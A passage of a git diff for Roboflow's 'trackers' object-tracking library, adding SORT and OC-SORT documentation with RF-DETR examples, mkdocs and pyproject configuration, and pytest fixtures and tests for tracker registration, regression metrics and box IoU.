annotated_frame, detections, labels=detections.tracker_id + ) + + cv2.imshow("RF-DETR + OC-SORT", annotated_frame) + if cv2.waitKey(1) & 0xFF == ord("q"): + break + + video_capture.release() + cv2.destroyAllWindows() + ``` + +=== "RTSP" + + ```python + import cv2 + import supervision as sv + from rfdetr import RFDETRMedium + from trackers import OCSORTTracker + + tracker = OCSORTTracker() + model = RFDETRMedium() + + box_annotator = sv.BoxAnnotator() + label_annotator = sv.LabelAnnotator() + + video_capture = cv2.VideoCapture("") + if not video_capture.isOpened(): + raise RuntimeError("Failed to open RTSP stream") + + while True: + success, frame_bgr = video_capture.read() + if not success: + break + + frame_rgb = cv2.cvtColor(frame_bgr, cv2.COLOR_BGR2RGB) + detections = model.predict(frame_rgb) + detections = tracker.update(detections) + + annotated_frame = box_annotator.annotate(frame_bgr, detections) + annotated_frame = label_annotator.annotate( + annotated_frame, detections, labels=detections.tracker_id + ) + + cv2.imshow("RF-DETR + OC-SORT", annotated_frame) + if cv2.waitKey(1) & 0xFF == ord("q"): + break + + video_capture.release() + cv2.destroyAllWindows() + ``` diff --git a/docs/trackers/sort.md b/docs/trackers/sort.md new file mode 100644 index 0000000..d2a8010 --- /dev/null +++ b/docs/trackers/sort.md @@ -0,0 +1,149 @@ +--- +comments: true +--- + +# SORT + +## Overview + +SORT is a classic online, tracking-by-detection method that predicts object motion with a Kalman filter and matches predicted tracks to detections using the Hungarian algorithm based on Intersection over Union (IoU). The tracker uses only geometric cues from bounding boxes, without appearance features, so it runs extremely fast and scales to hundreds of frames per second on typical hardware. Detections from a strong CNN detector feed SORT, which updates each track’s state via a constant velocity motion model and prunes stale tracks. Because SORT lacks explicit re-identification or appearance cues, it can suffer identity switches and fragmented tracks under long occlusions or heavy crowding. + +## Comparison + +For comparisons with other trackers, plus dataset context and evaluation details, see the [tracker comparison](comparison.md) page. + +| Dataset | HOTA | IDF1 | MOTA | +| :-------: | :--: | :--: | :--: | +| MOT17 | 58.4 | 69.9 | 67.2 | +| SportsMOT | 70.9 | 68.9 | 95.7 | +| SoccerNet | 81.6 | 76.2 | 95.1 | + +## Run on video, webcam, or RTSP stream + +These examples use `opencv-python` for decoding and display. Replace ``, ``, and `` with your inputs. `` is usually 0 for the default camera. + +=== "Video" + + ```python + import cv2 + import supervision as sv + from rfdetr import RFDETRMedium + from trackers import SORTTracker + + tracker = SORTTracker() + model = RFDETRMedium() + + box_annotator = sv.BoxAnnotator() + label_annotator = sv.LabelAnnotator() + + video_capture = cv2.VideoCapture("") + if not video_capture.isOpened(): + raise RuntimeError("Failed to open video source") + + while True: + success, frame_bgr = video_capture.read() + if not success: + break + + frame_rgb = cv2.cvtColor(frame_bgr, cv2.COLOR_BGR2RGB) + detections = model.predict(frame_rgb) + detections = tracker.update(detections) + + annotated_frame = box_annotator.annotate(frame_bgr, detections) + annotated_frame = label_annotator.annotate( + annotated_frame, + detections, + labels=detections.tracker_id, + ) + + cv2.imshow("RF-DETR + SORT", annotated_frame) + if cv2.waitKey(1) & 0xFF == ord("q"): + break + + video_capture.release() + cv2.destroyAllWindows() + ``` + +=== "Webcam" + + ```python + import cv2 + import supervision as sv + from rfdetr import RFDETRMedium + from trackers import SORTTracker + + tracker = SORTTracker() + model = RFDETRMedium() + + box_annotator = sv.BoxAnnotator() + label_annotator = sv.LabelAnnotator() + + video_capture = cv2.VideoCapture("") + if not video_capture.isOpened(): + raise RuntimeError("Failed to open webcam") + + while True: + success, frame_bgr = video_capture.read() + if not success: + break + + frame_rgb = cv2.cvtColor(frame_bgr, cv2.COLOR_BGR2RGB) + detections = model.predict(frame_rgb) + detections = tracker.update(detections) + + annotated_frame = box_annotator.annotate(frame_bgr, detections) + annotated_frame = label_annotator.annotate( + annotated_frame, + detections, + labels=detections.tracker_id, + ) + + cv2.imshow("RF-DETR + SORT", annotated_frame) + if cv2.waitKey(1) & 0xFF == ord("q"): + break + + video_capture.release() + cv2.destroyAllWindows() + ``` + +=== "RTSP" + + ```python + import cv2 + import supervision as sv + from rfdetr import RFDETRMedium + from trackers import SORTTracker + + tracker = SORTTracker() + model = RFDETRMedium() + + box_annotator = sv.BoxAnnotator() + label_annotator = sv.LabelAnnotator() + + video_capture = cv2.VideoCapture("") + if not video_capture.isOpened(): + raise RuntimeError("Failed to open RTSP stream") + + while True: + success, frame_bgr = video_capture.read() + if not success: + break + + frame_rgb = cv2.cvtColor(frame_bgr, cv2.COLOR_BGR2RGB) + detections = model.predict(frame_rgb) + detections = tracker.update(detections) + + annotated_frame = box_annotator.annotate(frame_bgr, detections) + annotated_frame = label_annotator.annotate( + annotated_frame, + detections, + labels=detections.tracker_id, + ) + + cv2.imshow("RF-DETR + SORT", annotated_frame) + if cv2.waitKey(1) & 0xFF == ord("q"): + break + + video_capture.release() + cv2.destroyAllWindows() + ``` diff --git a/logo/Software_v1.1.zip b/logo/Software_v1.1.zip deleted file mode 100644 index db6f2a6..0000000 Binary files a/logo/Software_v1.1.zip and /dev/null differ diff --git a/logo/WBX-32x32.svg b/logo/WBX-32x32.svg deleted file mode 100644 index 81936d9..0000000 --- a/logo/WBX-32x32.svg +++ /dev/null @@ -1,21 +0,0 @@ - - - - - - - - - - - - - - - - - - - - diff --git a/mkdocs.yml b/mkdocs.yml new file mode 100644 index 0000000..13e68e5 --- /dev/null +++ b/mkdocs.yml @@ -0,0 +1,129 @@ +site_name: Trackers +site_url: https://roboflow.github.io/trackers/develop/ +site_author: Roboflow +site_description: A unified library for object tracking featuring clean room re-implementations of leading multi-object tracking algorithms. +repo_name: roboflow/trackers +repo_url: https://github.com/roboflow/trackers +edit_uri: https://github.com/roboflow/trackers/tree/main/docs +copyright: Roboflow 2025. All rights reserved. + +hooks: + - docs/hooks/doctest_filter.py + +extra: + version: + provider: mike + social: + - icon: fontawesome/brands/github + link: https://github.com/roboflow + - icon: fontawesome/brands/python + link: https://pypi.org/project/trackers + - icon: fontawesome/brands/docker + link: https://hub.docker.com/u/roboflow + - icon: fontawesome/brands/youtube + link: https://www.youtube.com/roboflow + - icon: fontawesome/brands/linkedin + link: https://www.linkedin.com/company/roboflow-ai/ + - icon: fontawesome/brands/x-twitter + link: https://twitter.com/roboflow + - icon: fontawesome/brands/discord + link: https://discord.gg/GbfgXGJ8Bk + +theme: + name: material + custom_dir: docs/overrides/ + icon: + edit: material/pencil + logo: assets/logo-trackers-violet.svg + favicon: assets/logo-trackers-black.svg + features: + - content.code.annotate + - content.code.copy + - content.code.select + - content.tabs.link + - content.tooltips + - navigation.tracking + - navigation.expand + - navigation.tabs + +extra_css: + - stylesheets/style.css + - stylesheets/rf.css + - stylesheets/command_builder.css + +extra_javascript: + - javascripts/pycon_copy.js + - javascripts/cli_builder_framework.js + - javascripts/command_builder.js + +markdown_extensions: + # Adds support for card grids + - attr_list + - md_in_html + # Enables the use of icons and emojis + - pymdownx.emoji: + emoji_index: !!python/name:material.extensions.emoji.twemoji + emoji_generator: !!python/name:material.extensions.emoji.to_svg + # Code syntax highlighting with line numbers and anchors + - pymdownx.highlight: + # Adds anchors to line numbers + anchor_linenums: true + # Wraps lines in span elements + line_spans: __span + # Adds language class to code blocks + pygments_lang_class: true + # Enables inline code highlighting + - pymdownx.inlinehilite + # Allows including content from other files + - pymdownx.snippets + # Enables nested code blocks and custom fences + - pymdownx.superfences + # Adds support for callouts/notes/warnings + - admonition + # Enables collapsible blocks (expandable content) + - pymdownx.details + # Creates tabbed content (like installation examples) + - pymdownx.tabbed: + # Uses an alternative styling for tabs + alternate_style: true + +plugins: + - search + - mkdocstrings: + handlers: + python: + options: + # Controls whether to show symbol types in the table of contents + show_symbol_type_toc: true + # Controls whether to show symbol type in the heading + show_symbol_type_heading: true + # Controls whether to show the root heading (module/class name) + show_root_heading: true + # Controls whether to show the source code + show_source: false + # Specifies the docstring style to parse (Google style in this case) + docstring_style: google + # Controls the order of members (by source order in this case) + members_order: source + + extra: + # Controls whether to sort members alphabetically + sort_members: false + +nav: + - Home: + - Quickstart: index.md + - Trackers: + - Comparison: trackers/comparison.md + - SORT: trackers/sort.md + - ByteTrack: trackers/bytetrack.md + - OC-SORT: trackers/ocsort.md + - Guides: + - Install: learn/install.md + - Track: learn/track.md + - Evaluate: learn/evaluate.md + - API Reference: + - Trackers: api/trackers.md + - Motion: api/motion.md + - Evals: api/evals.md + - I/O: api/io.md diff --git a/pyproject.toml b/pyproject.toml new file mode 100644 index 0000000..c2613cc --- /dev/null +++ b/pyproject.toml @@ -0,0 +1,200 @@ +[project] +name = "trackers" +version = "2.3.0rc0" +description = "A unified library for object tracking featuring clean room re-implementations of leading multi-object tracking algorithms" +readme = "README.md" +maintainers = [ + { name = "Piotr Skalski", email = "piotr@roboflow.com" }, +] +authors = [ + { name = "Roboflow et al.", email = "develop@roboflow.com" }, +] +license = {text = "Apache License 2.0"} +requires-python = ">=3.10" +classifiers = [ + "Development Status :: 4 - Beta", + "Intended Audience :: Developers", + "Intended Audience :: Education", + "Intended Audience :: Science/Research", + "License :: OSI Approved :: Apache Software License", + "Programming Language :: Python :: 3", + "Programming Language :: Python :: 3.10", + "Programming Language :: Python :: 3.11", + "Programming Language :: Python :: 3.12", + "Programming Language :: Python :: 3.13", + "Programming Language :: Python :: 3 :: Only", + "Topic :: Software Development", + "Topic :: Scientific/Engineering", + "Topic :: Scientific/Engineering :: Artificial Intelligence", + "Typing :: Typed", + "Operating System :: POSIX", + "Operating System :: Unix", + "Operating System :: MacOS", + "Operating System :: Microsoft :: Windows", +] +keywords = ["tracking", "mot", "sort", "bytetrack", "machine-learning", "deep-learning", "vision", "ML", "DL", "AI", "DETR", "YOLO", "Roboflow"] + +dependencies = [ + "numpy>=2.0.2", + "supervision>=0.26.1", + "scipy>=1.13.1", + "opencv-python>=4.8.0", + "rich>=13.0.0" +] + +[project.optional-dependencies] +detection = ["inference-models>=0.19.0"] + +[project.scripts] +trackers = "trackers.scripts.__main__:main" + +[dependency-groups] +dev = [ + "uv>=0.4.20", + "pytest>=8.3.3", + "pre-commit>=4.2.0", +] +docs = [ + "mkdocs>=1.6.1", + "mkdocs-glightbox>=0.4.0", + "mkdocs-material>=9.6.11", + "mkdocs-minify-plugin>=0.8.0", + "mkdocstrings-python>=1.10.9,<3.0.0", # todo: breaking changes in 2.x + "mike>=2.1.3", +] + +build = [ + "twine>=5.1.1", + "wheel>=0.40", + "build>=0.10" +] + +mypy-types = [ + "types-aiofiles>=24.1.0.20250326", + "types-requests>=2.32.0.20250328", + "types-tqdm>=4.67.0.20250417", +] + +[build-system] +requires = ["hatchling"] +build-backend = "hatchling.build" + +[tool.hatch.build.targets.wheel] +packages = ["trackers"] + +[tool.ruff] +target-version = "py310" + +# Exclude a variety of commonly ignored directories. +exclude = [ + ".bzr", + ".direnv", + ".eggs", + ".git", + ".git-rewrite", + ".hg", + ".mypy_cache", + ".nox", + ".pants.d", + ".pytype", + ".ruff_cache", + ".svn", + ".tox", + ".venv", + "__pypackages__", + "_build", + "buck-out", + "build", + "dist", + "node_modules", + "venv", + "yarn-error.log", + "yarn.lock", + "docs", +] + +line-length = 88 +indent-width = 4 + +[tool.ruff.lint] +# Enable pycodestyle (`E`) and Pyflakes (`F`) codes by default. +select = [ + "E", # pycodestyle errors and warnings (https://docs.astral.sh/ruff/rules/#error-e) + "F", # Pyflakes (imports, unused variables, etc.) (https://docs.astral.sh/ruff/rules/#pyflakes-f) + "I", # isort (import sorting) (https://docs.astral.sh/ruff/rules/#isort-i) + "A", # flake8-builtins (no use of built-in variable names) (https://docs.astral.sh/ruff/rules/#flake8-builtins-a) + "Q", # flake8-quotes (consistent quote style) (https://docs.astral.sh/ruff/rules/#flake8-quotes-q) + "W", # pycodestyle warnings (https://docs.astral.sh/ruff/rules/#warning-w) + "RUF", # Ruff-specific rules (https://docs.astral.sh/ruff/rules/#ruff-specific-rules-ruf) + "S", # security rules (https://docs.astral.sh/ruff/rules/#flake8-bandit-s) + "UP", # pyupgrade rules (https://docs.astral.sh/ruff/rules/#pyupgrade-up) +] +ignore = [] +unfixable = [] +# Allow unused variables when underscore-prefixed. +dummy-variable-rgx = "^(_+|(_+[a-zA-Z0-9_]*[a-zA-Z0-9]+?))$" +pylint.max-args = 5 # Default is 5 + +[tool.ruff.lint.flake8-quotes] +inline-quotes = "double" +multiline-quotes = "double" +docstring-quotes = "double" + +[tool.ruff.lint.pydocstyle] +convention = "google" + +[tool.ruff.lint.per-file-ignores] +"__init__.py" = ["E402", "F401"] +"test/**" = ["S101"] # Allow assert in tests +"trackers" = [] + +[tool.ruff.lint.mccabe] +# Flag errors (`C901`) whenever the complexity level exceeds 10. +max-complexity = 10 + +[tool.ruff.lint.isort] +order-by-type = true +no-sections = false + +[tool.ruff.format] +# Like Black, use double quotes for strings. +quote-style = "double" + +# Like Black, indent with spaces, rather than tabs. +indent-style = "space" + +# Like Black, respect magic trailing commas. +skip-magic-trailing-comma = false + +# Like Black, automatically detect the appropriate line ending. +line-ending = "auto" + +[tool.pytest.ini_options] +pythonpath = "." +testpaths = ["test"] +addopts = [ + "--doctest-modules", + "--color=yes", +] +doctest_optionflags = "ELLIPSIS NORMALIZE_WHITESPACE" +markers = [ + "integration: marks tests as integration tests (require external data download)", +] + +[tool.codespell] +skip = "*.pth" +ignore-words-list = "mot" + +[tool.mypy] +python_version = "3.10" +plugins = ["numpy.typing.mypy_plugin"] + +[[tool.mypy.overrides]] +module = [ + "requests", + "torch", + "torchvision", + "torchvision.transforms", + "firerequests", +] +ignore_missing_imports = true diff --git a/test/annotators/__init__.py b/test/annotators/__init__.py new file mode 100644 index 0000000..57226e8 --- /dev/null +++ b/test/annotators/__init__.py @@ -0,0 +1,5 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ diff --git a/test/conftest.py b/test/conftest.py new file mode 100644 index 0000000..acdccc1 --- /dev/null +++ b/test/conftest.py @@ -0,0 +1,129 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +"""Pytest configuration and shared fixtures.""" + +from __future__ import annotations + +import json +import shutil +import urllib.request +import zipfile +from pathlib import Path +from typing import TYPE_CHECKING + +import pytest + +if TYPE_CHECKING: + from typing import Any + +# Test data URLs and folder names +DATASETS: dict[str, tuple[str, str]] = { + "sportsmot_flat": ( + "https://storage.googleapis.com/com-roboflow-marketing/" + "trackers/sportsmot-flat-20260203.zip", + "sportsmot-flat", + ), + "sportsmot_mot17": ( + "https://storage.googleapis.com/com-roboflow-marketing/" + "trackers/sportsmot-mot17-20260203.zip", + "sportsmot-mot17", + ), + "dancetrack_flat": ( + "https://storage.googleapis.com/com-roboflow-marketing/" + "trackers/dancetrack-flat-20260203.zip", + "dancetrack-flat", + ), + "dancetrack_mot17": ( + "https://storage.googleapis.com/com-roboflow-marketing/" + "trackers/dancetrack-mot17-20260203.zip", + "dancetrack-mot17", + ), +} + +CACHE_DIR = Path.home() / ".cache" / "trackers-test" + + +def _download_test_data(dataset_key: str) -> tuple[Path, dict[str, Any]]: + """Download and cache MOT test data for a given dataset. + + Args: + dataset_key: Key from DATASETS dict (e.g., "sportsmot_flat"). + + Returns: + Tuple of (data_path, expected_results). + + Raises: + pytest.skip: If download fails or data is unavailable. + """ + if dataset_key not in DATASETS: + pytest.skip(f"Unknown dataset: {dataset_key}") + + url, folder_name = DATASETS[dataset_key] + + cache_path = CACHE_DIR / folder_name + zip_path = CACHE_DIR / f"{folder_name}.zip" + expected_path = cache_path / "expected_results.json" + + if cache_path.exists() and expected_path.exists(): + with open(expected_path) as f: + return cache_path, json.load(f) + + CACHE_DIR.mkdir(parents=True, exist_ok=True) + + try: + urllib.request.urlretrieve(url, zip_path) # noqa: S310 + except Exception as e: + pytest.skip(f"Failed to download {dataset_key} test data: {e}") + + try: + with zipfile.ZipFile(zip_path, "r") as zf: + zf.extractall(cache_path) + except Exception as e: + if zip_path.exists(): + zip_path.unlink() + pytest.skip(f"Failed to extract {dataset_key} test data: {e}") + + if zip_path.exists(): + zip_path.unlink() + + if not expected_path.exists(): + for p in cache_path.rglob("expected_results.json"): + expected_path = p + cache_path = p.parent + break + else: + shutil.rmtree(cache_path, ignore_errors=True) + pytest.skip( + f"{dataset_key} extraction failed: expected_results.json not found" + ) + + with open(expected_path) as f: + return cache_path, json.load(f) + + +@pytest.fixture(scope="session") +def sportsmot_flat_data() -> tuple[Path, dict[str, Any]]: + """Fixture providing SportsMOT flat format test data.""" + return _download_test_data("sportsmot_flat") + + +@pytest.fixture(scope="session") +def sportsmot_mot17_data() -> tuple[Path, dict[str, Any]]: + """Fixture providing SportsMOT MOT17 format test data.""" + return _download_test_data("sportsmot_mot17") + + +@pytest.fixture(scope="session") +def dancetrack_flat_data() -> tuple[Path, dict[str, Any]]: + """Fixture providing DanceTrack flat format test data.""" + return _download_test_data("dancetrack_flat") + + +@pytest.fixture(scope="session") +def dancetrack_mot17_data() -> tuple[Path, dict[str, Any]]: + """Fixture providing DanceTrack MOT17 format test data.""" + return _download_test_data("dancetrack_mot17") diff --git a/test/core/__init__.py b/test/core/__init__.py new file mode 100644 index 0000000..57226e8 --- /dev/null +++ b/test/core/__init__.py @@ -0,0 +1,5 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ diff --git a/test/core/test_registration.py b/test/core/test_registration.py new file mode 100644 index 0000000..7986649 --- /dev/null +++ b/test/core/test_registration.py @@ -0,0 +1,299 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +from typing import Any + +import pytest + +from trackers.core.base import ( + BaseTracker, + TrackerInfo, + _extract_params_from_init, + _normalize_type, + _parse_docstring_arguments, +) + + +class TestParseDocstringArguments: + @pytest.mark.parametrize( + ("docstring", "expected"), + [ + # Empty docstring + ("", {}), + # No Args section + ( + """ + Some description without Args section. + + Returns: + Something. + """, + {}, + ), + # Simple param_name: description format + ( + """ + Args: + param1: Description of param1. + """, + {"param1": "Description of param1."}, + ), + # Multi-line description + ( + """ + Args: + param1: Description that spans + multiple lines here. + """, + {"param1": "Description that spans multiple lines here."}, + ), + # Multiple parameters + ( + """ + Args: + param1: First parameter. + param2: Second parameter. + param3: Third parameter. + """, + { + "param1": "First parameter.", + "param2": "Second parameter.", + "param3": "Third parameter.", + }, + ), + # Args section ends at Returns + ( + """ + Args: + param1: Description. + + Returns: + Something. + """, + {"param1": "Description."}, + ), + # Real-world style with type in description + ( + """ + Args: + lost_track_buffer: `int` specifying number of frames + to buffer when track is lost. + """, + { + "lost_track_buffer": "`int` specifying number of frames " + "to buffer when track is lost." + }, + ), + # param (type): format + ( + """ + Args: + param1 (int): First parameter. + param2 (str): Second parameter. + """, + {"param1": "First parameter.", "param2": "Second parameter."}, + ), + # param (type, optional): format + ( + """ + Args: + param1 (int, optional): Optional integer. + """, + {"param1": "Optional integer."}, + ), + # Dotted parameter name + ( + """ + Args: + config.threshold: The threshold value for detection. + model.weights: Path to model weights file. + """, + { + "config.threshold": "The threshold value for detection.", + "model.weights": "Path to model weights file.", + }, + ), + # Description containing colon + ( + """ + Args: + format_str: Use format: key=value for configuration. + path: File path, e.g.: /home/user/file.txt + """, + { + "format_str": "Use format: key=value for configuration.", + "path": "File path, e.g.: /home/user/file.txt", + }, + ), + ], + ) + def test_parse_docstring(self, docstring: str, expected: dict[str, str]) -> None: + result = _parse_docstring_arguments(docstring) + assert result == expected + + +class TestNormalizeType: + @pytest.mark.parametrize( + ("annotation", "default", "expected"), + [ + # Simple types + (int, None, int), + (str, None, str), + (float, None, float), + # Optional types + (int | None, None, int), + (str | None, None, str), + # Union with None + (int | None, None, int), + (str | None, None, str), + # List and dict + (list[int], None, list), + (dict[str, int], None, dict), + # Nested optional list + (list[int] | None, None, list), + # Tuple types + (tuple[int, ...], None, tuple), + (tuple[int, str], None, tuple), + # Any with default value + (Any, 42, int), + (Any, "hello", str), + (Any, None, Any), + ], + ) + def test_normalize_type( + self, annotation: Any, default: Any, expected: type + ) -> None: + assert _normalize_type(annotation, default) == expected + + +class TestExtractParamsFromInit: + def test_extract_params_with_defaults(self) -> None: + class TestClass: + def __init__( + self, + param1: int = 10, + param2: float = 0.5, + param3: str = "default", + ) -> None: + """ + Args: + param1: Integer parameter. + param2: Float parameter. + param3: String parameter. + """ + pass + + params = _extract_params_from_init(TestClass) + + assert params["param1"].param_type is int + assert params["param1"].default_value == 10 + assert "Integer parameter" in params["param1"].description + + assert params["param2"].param_type is float + assert params["param2"].default_value == 0.5 + + assert params["param3"].param_type is str + assert params["param3"].default_value == "default" + + def test_extract_params_without_docstring(self) -> None: + class TestClass: + def __init__(self, param1: int = 10) -> None: + pass + + params = _extract_params_from_init(TestClass) + + assert params["param1"].param_type is int + assert params["param1"].default_value == 10 + assert params["param1"].description == "" + + def test_extract_params_infers_type_from_default(self) -> None: + class TestClass: + def __init__(self, param1=42) -> None: # No type hint + pass + + params = _extract_params_from_init(TestClass) + + assert params["param1"].param_type is int # Inferred from default + assert params["param1"].default_value == 42 + + def test_excludes_self_parameter(self) -> None: + class TestClass: + def __init__(self, param1: int = 10) -> None: + pass + + params = _extract_params_from_init(TestClass) + + assert "self" not in params + assert len(params) == 1 + + +class TestTrackerAutoRegistration: + @pytest.mark.parametrize("tracker_id", ["bytetrack", "sort"]) + def test_tracker_is_registered(self, tracker_id: str) -> None: + from trackers import ByteTrackTracker, SORTTracker # noqa: F401 + + assert tracker_id in BaseTracker._registered_trackers() + + @pytest.mark.parametrize("tracker_id", ["bytetrack", "sort"]) + def test_lookup_tracker(self, tracker_id: str) -> None: + from trackers import ByteTrackTracker, SORTTracker # noqa: F401 + + info = BaseTracker._lookup_tracker(tracker_id) + + assert info is not None + assert isinstance(info, TrackerInfo) + assert "lost_track_buffer" in info.parameters + + def test_lookup_tracker_unknown_returns_none(self) -> None: + info = BaseTracker._lookup_tracker("nonexistent") + assert info is None + + def test_registered_trackers_returns_sorted_list(self) -> None: + from trackers import ByteTrackTracker, SORTTracker # noqa: F401 + + registered = BaseTracker._registered_trackers() + + assert isinstance(registered, list) + assert registered == sorted(registered) + + @pytest.mark.parametrize("tracker_id", ["bytetrack", "sort"]) + def test_tracker_params_have_descriptions(self, tracker_id: str) -> None: + info = BaseTracker._lookup_tracker(tracker_id) + + assert info is not None + has_descriptions = any(p.description for p in info.parameters.values()) + assert has_descriptions + + +class TestTrackerInstantiation: + @pytest.mark.parametrize("tracker_id", ["bytetrack", "sort"]) + def test_instantiate_with_defaults(self, tracker_id: str) -> None: + info = BaseTracker._lookup_tracker(tracker_id) + assert info is not None + tracker = info.tracker_class() + + assert tracker is not None + assert hasattr(tracker, "update") + assert hasattr(tracker, "reset") + + def test_instantiate_bytetrack_with_custom_params(self) -> None: + info = BaseTracker._lookup_tracker("bytetrack") + assert info is not None + tracker = info.tracker_class(lost_track_buffer=60, frame_rate=60.0) # type: ignore[call-arg] + + # Internal calculation: maximum_frames_without_update = 60/30 * 60 = 120 + assert tracker.maximum_frames_without_update == 120 # type: ignore[attr-defined] + + def test_instantiate_with_registry_params(self) -> None: + """Test creating tracker with params dict like CLI would do.""" + info = BaseTracker._lookup_tracker("sort") + assert info is not None + + kwargs = {name: param.default_value for name, param in info.parameters.items()} + kwargs["lost_track_buffer"] = 50 + + tracker = info.tracker_class(**kwargs) + assert tracker is not None diff --git a/test/core/test_tracker_integration.py b/test/core/test_tracker_integration.py new file mode 100644 index 0000000..31c4688 --- /dev/null +++ b/test/core/test_tracker_integration.py @@ -0,0 +1,116 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +from __future__ import annotations + +import json +from pathlib import Path +from typing import Any + +import pytest +import supervision as sv + +from trackers.core.base import BaseTracker +from trackers.eval import evaluate_mot_sequences +from trackers.io.mot import _load_mot_file, _mot_frame_to_detections, _MOTOutput + +_TRACKER_IDS = ["sort", "bytetrack", "ocsort"] +_METRICS = ["CLEAR", "HOTA", "Identity"] +_TEST_DATA_DIR = Path(__file__).resolve().parent.parent / "data" + + +def _load_expected(dataset: str) -> dict[str, Any]: + """Load TrackEval-derived reference metrics for a dataset.""" + path = _TEST_DATA_DIR / f"tracker_expected_{dataset}.json" + with open(path) as f: + return json.load(f) + + +def _run_tracker_on_flat_dataset( + tracker_id: str, + data_path: Path, + output_dir: Path, + seqmap_path: Path, +) -> None: + """Run a tracker on GT-derived detections and save flat MOT output files.""" + import trackers as _trackers # noqa: F401 - triggers registration + + info = BaseTracker._lookup_tracker(tracker_id) + assert info is not None, f"Unknown tracker: {tracker_id}" + + output_dir.mkdir(parents=True, exist_ok=True) + gt_dir = data_path / "gt" + + with open(seqmap_path) as f: + sequences = [ + line.strip() for line in f if line.strip() and line.strip() != "name" + ] + + for seq_name in sequences: + gt_file = gt_dir / f"{seq_name}.txt" + if not gt_file.exists(): + continue + + gt_data = _load_mot_file(gt_file) + max_frame = max(gt_data.keys()) if gt_data else 0 + + tracker = info.tracker_class() + mot_path = output_dir / f"{seq_name}.txt" + + with _MOTOutput(mot_path) as mot: + for frame_idx in range(1, max_frame + 1): + if frame_idx in gt_data: + detections = _mot_frame_to_detections(gt_data[frame_idx]) + else: + detections = sv.Detections.empty() + + tracked = tracker.update(detections) + if tracked.tracker_id is not None: + mature = tracked[tracked.tracker_id != -1] + mot.write(frame_idx, mature) + else: + mot.write(frame_idx, tracked) + + +@pytest.mark.integration +@pytest.mark.parametrize("tracker_id", _TRACKER_IDS) +@pytest.mark.parametrize( + "dataset, fixture_name", + [ + ("sportsmot", "sportsmot_flat_data"), + ("dancetrack", "dancetrack_flat_data"), + ], +) +def test_tracker_regression( + tracker_id: str, + dataset: str, + fixture_name: str, + request: pytest.FixtureRequest, + tmp_path: Path, +) -> None: + data_path, _ = request.getfixturevalue(fixture_name) + expected = _load_expected(dataset)[tracker_id] + tracker_output_dir = tmp_path / "tracker_output" + + _run_tracker_on_flat_dataset( + tracker_id=tracker_id, + data_path=data_path, + output_dir=tracker_output_dir, + seqmap_path=data_path / "seqmap.txt", + ) + + result = evaluate_mot_sequences( + gt_dir=data_path / "gt", + tracker_dir=tracker_output_dir, + seqmap=data_path / "seqmap.txt", + metrics=_METRICS, + ) + + aggregate = result.aggregate + assert aggregate.HOTA.HOTA * 100 == pytest.approx(expected["HOTA"], abs=0.001) + assert aggregate.CLEAR.MOTA * 100 == pytest.approx(expected["MOTA"], abs=0.001) + assert aggregate.Identity.IDF1 * 100 == pytest.approx(expected["IDF1"], abs=0.001) + assert aggregate.CLEAR.IDSW == expected["IDSW"] diff --git a/test/data/tracker_expected_dancetrack.json b/test/data/tracker_expected_dancetrack.json new file mode 100644 index 0000000..ebf5990 --- /dev/null +++ b/test/data/tracker_expected_dancetrack.json @@ -0,0 +1,20 @@ +{ + "sort": { + "HOTA": 78.73, + "MOTA": 99.132, + "IDF1": 73.737, + "IDSW": 674 + }, + "bytetrack": { + "HOTA": 80.236, + "MOTA": 99.52, + "IDF1": 76.648, + "IDSW": 582 + }, + "ocsort": { + "HOTA": 78.004, + "MOTA": 98.187, + "IDF1": 74.367, + "IDSW": 631 + } +} diff --git a/test/data/tracker_expected_sportsmot.json b/test/data/tracker_expected_sportsmot.json new file mode 100644 index 0000000..fadde84 --- /dev/null +++ b/test/data/tracker_expected_sportsmot.json @@ -0,0 +1,20 @@ +{ + "sort": { + "HOTA": 86.285, + "MOTA": 98.476, + "IDF1": 81.875, + "IDSW": 721 + }, + "bytetrack": { + "HOTA": 87.534, + "MOTA": 99.409, + "IDF1": 83.098, + "IDSW": 570 + }, + "ocsort": { + "HOTA": 83.862, + "MOTA": 97.791, + "IDF1": 79.21, + "IDSW": 917 + } +} diff --git a/test/eval/__init__.py b/test/eval/__init__.py new file mode 100644 index 0000000..57226e8 --- /dev/null +++ b/test/eval/__init__.py @@ -0,0 +1,5 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ diff --git a/test/eval/test_box.py b/test/eval/test_box.py new file mode 100644 index 0000000..c02e78f --- /dev/null +++ b/test/eval/test_box.py @@ -0,0 +1,251 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +from __future__ import annotations + +from typing import Any + +import numpy as np +import pytest + +from trackers.eval.box import EPS, BoxFormat, box_ioa, box_iou + + +@pytest.mark.parametrize( + ("boxes1", "boxes2", "box_format", "expected_iou"), + [ + ( + np.array([[0, 0, 10, 10]]), + np.array([[0, 0, 10, 10]]), + "xyxy", + np.array([[1.0]]), + ), # identical boxes, perfect overlap + ( + np.array([[0, 0, 10, 10]]), + np.array([[20, 20, 30, 30]]), + "xyxy", + np.array([[0.0]]), + ), # disjoint boxes, no overlap + ( + np.array([[0, 0, 10, 10]]), + np.array([[5, 0, 15, 10]]), + "xyxy", + np.array([[1 / 3]]), + ), # partial overlap, intersection=50, union=150 + ( + np.array([[0, 0, 20, 20]]), + np.array([[5, 5, 15, 15]]), + "xyxy", + np.array([[0.25]]), + ), # contained box, 